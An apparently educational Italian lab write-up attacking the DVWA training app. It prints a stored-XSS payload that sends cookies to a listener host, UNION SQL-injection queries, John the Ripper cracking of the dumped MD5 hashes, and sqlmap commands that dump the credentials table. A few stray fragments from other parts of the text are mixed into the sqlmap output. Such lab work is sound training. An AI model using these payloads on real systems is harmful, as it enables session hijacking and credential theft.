

```
1 <script>
2     var xhr = new XMLHttpRequest();
3     xhr.open("GET", "http://192.168.50.100:8080/?" + document.cookie, true);
4     xhr.send();
5 </script>
```

Name *	<input type="text" value="XSS Stored"/>
Message *	<div><pre>&lt;script&gt; var xhr = new XMLHttpRequest(); xhr.open("GET", "http://192.168.50.100:8080/" + document.cookie,</pre></div>
<div>Sign Guestbook</div>	

```
(kali㉿kali)-[~]
$ nc -l -p 8080
GET /?security=low;%20PHPSESSID=0a4ed6e4a9dfc5380939d70f451d63b6 HTTP/1.1
Host: 192.168.50.100:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://192.168.50.101
DNT: 1
Connection: keep-alive
Referer: http://192.168.50.101/
```

```
Inspector Console Debugger Network Style Editor Performance Memory
Search HTML
<tbody>
  <tr>...</tr>
  <tr>
    <td width="100">Message *</td>
    <td>
      <textarea name="mtxMessage" cols="50" rows="3" maxlength="1000"></textarea>
    </td>
  </tr>
  <tr>...</tr>
</tbody>
```

Per il **SQL injection blind** possiamo utilizzare due approcci: uno manuale o uno automatizzato.

Per quello **manuale**, con una serie di query successive, si recuperano informazioni sui **nomi delle tabelle** salvate, andando poi nello specifico ad analizzare la tabella users dove si presuppone siano salvati i dati degli utenti con le credenziali di accesso.

```
ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: TABLE_PRIVILEGES
Surname:

ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: TRIGGERS
Surname:

ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: USER_PRIVILEGES
Surname:

ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: VIEWS
Surname:

ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: guestbook
Surname:

ID: 'UNION SELECT table_name, NULL FROM information_schema.tables #
First name: users
Surname:
```

## Vulnerability: SQL Injection (Blind)

User ID:

 

```
ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: user_id
Surname:

ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: first_name
Surname:

ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: last_name
Surname:

ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: user
Surname:

ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: password
Surname:

ID: 'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
First name: avatar
Surname:
```

In effetti troviamo che nella tabella users sono presenti i nomi utente e le password analizzando i **nomi delle colonne**. Li otteniamo.

## Vulnerability: SQL Injection (Blind)

User ID:

  

```
ID: ' UNION SELECT user,password from users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
  
ID: ' UNION SELECT user,password from users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
  
ID: ' UNION SELECT user,password from users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
  
ID: ' UNION SELECT user,password from users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
  
ID: ' UNION SELECT user,password from users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

A questo punto basta salvare gli hash delle password in un file e utilizzare il tool **John the Ripper** installato in Kali Linux per eseguire un **password cracking** utilizzando il dizionario **rockyou.txt** con le password più comuni (specifichiamo il formato **MD5** di hash poiché sappiamo che le password sono cifrate con quella funzione, altrimenti il tool è comunque in grado di riconoscerla da solo). Otteniamo così le password **in chiaro**.

```
(kali@kali)-[~] you.txt.gz  
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 /home/kali/Documents/hash.txt  
Using default input encoding: UTF-8  
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=3  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password (??) /usr/share/wordlists/  
abc123 (??) /home/kali/Documents/hash.txt  
letmein (??)  
charley (??) /usr/share/wordlists/  
4g 0:00:00:00 DONE (2024-02-28 14:54) 400.0g/s 307200p/s 307200c/s 460800C/s my3kids..dangerous  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.  
  
(kali@kali)-[~]  
$ john --show --format=raw-md5 /home/kali/Documents/hash.txt  
  
?:password  
?:abc123  
?:charley  
?:letmein  
  
4 password hashes cracked, 0 left
```

L'approccio automatizzato prevede invece l'utilizzo di **sqlmap**, che esegue ciò che abbiamo fatto precedentemente senza dover scrivere manualmente le query per interrogare il **DBMS**.

Per prima cosa si recupera un **cookie di sessione** valido.

Filter Items			
Name	Value	Domain	
PHPSESSID	0a4ed6e4a9dfc5380939d70f451d63b6	192.168.50.101	/
security	low	192.168.50.101	/

Si utilizza sqlmap impostando il cookie di sessione, e si trovano i **database** presenti.

**sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli\_blind/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=0a4ed6e4a9dfc5380939d70f451d63b6" --schema --batch**

```
[*] starting @ 14:11:43 /2024-03-01/

[14:11:44] [INFO] resuming back-end DBMS 'mysql'
[14:11:44] [INFO] testing connection to the target URL (document.cookie, true);
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 5258 FROM (SELECT(SLEEP(5)))Kuyx) AND 'xyJJ'='xyJJ&Submit=Submit

  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=1' UNION ALL SELECT CONCAT(0x71766b7a71,0x4d4e4f7776726173684254666c4b544c535671584a624d4a58634f4a585675706b5a717
---
[14:11:44] [INFO] the back-end DBMS is MySQL (union schema.columns WHERE table_name='users' &
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[14:11:44] [INFO] enumerating database management system schema
[14:11:44] [INFO] fetching database names
[14:11:44] [WARNING] reflective value(s) found and filtering out
[14:11:44] [INFO] fetching tables for databases: 'dvwa, information_schema, metasploit, mysql, owasp10, tikiwiki, tikiwiki195'
```

Si recuperano le **tabelle** presenti nel database **dvwa**.

**sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli\_blind/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=0a4ed6e4a9dfc5380939d70f451d63b6" -D dvwa --tables**

```
[14:14:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[14:14:56] [INFO] fetching tables for database: 'dvwa'
[14:14:56] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users     |
+-----+
```



In seguito si visualizzano le **colonne** della tabella **users**.

```
sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -  
cookie="security=low; PHPSESSID=0a4ed6e4a9dfc5380939d70f451d63b6" --columns -T users --  
batch
```

```
[14:16:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[14:16:16] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[14:16:16] [INFO] fetching current database
[14:16:17] [WARNING] reflective value(s) found and filtering out
[14:16:17] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| user   | varchar(15) |
| avatar | varchar(70) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+-----+-----+
```

Infine si recuperano i **nomi utente** e le **password** contenuti nella tabella users.

```
sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -  
cookie="security=low; PHPSESSID=0a4ed6e4a9dfc5380939d70f451d63b6" -D dvwa -T users -C  
user,password --dump
```

```
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[15:26:32] [INFO] using hash method 'md5_generic_passwd'
[15:26:32] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[15:26:32] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[15:26:32] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[15:26:32] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+-----+-----+
| user   | password |
+-----+-----+
| admin  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| 1337   | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| pablo  | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+-----+-----+
```

Si noti che sqlmap è inoltre anche in grado di riconoscere che le password sono cifrate tramite la **funzione di hash** MD5 e permette di eseguire un attacco brute force con dizionario per ottenerle in chiaro.

Sarebbe stato anche possibile utilizzare **view source** della dvwa come aiuto per navigare nelle tabelle **sql** , analizzando lo script back-end eseguito. È molto raro nella realtà che questo sia noto (qui è visualizzabile per scopi didattici) pertanto non ne ho tenuto conto per la risoluzione dell'esercizio.

## SQL Injection (Blind) Source

```
<?php
if (isset($_GET['Submit'])) {
    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppress mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>
```

Un'ultima osservazione finale riguarda la facilità con cui vengono ottenute le password in chiaro tramite attacchi **brute force** con dizionario; questo è dovuto al fatto che si tratta di password molto semplici. L'utilizzo di maiuscole e minuscole, numeri e caratteri speciali alternati in password più lunghe aumenta in modo **esponenziale** il tempo necessario per ottenerle (ci vorrebbero anni di tempo a disposizione) rendendo molto più difficile, se non impossibile per mancanza di tempo e risorse, per un attaccante scovarle tramite un attacco brute force.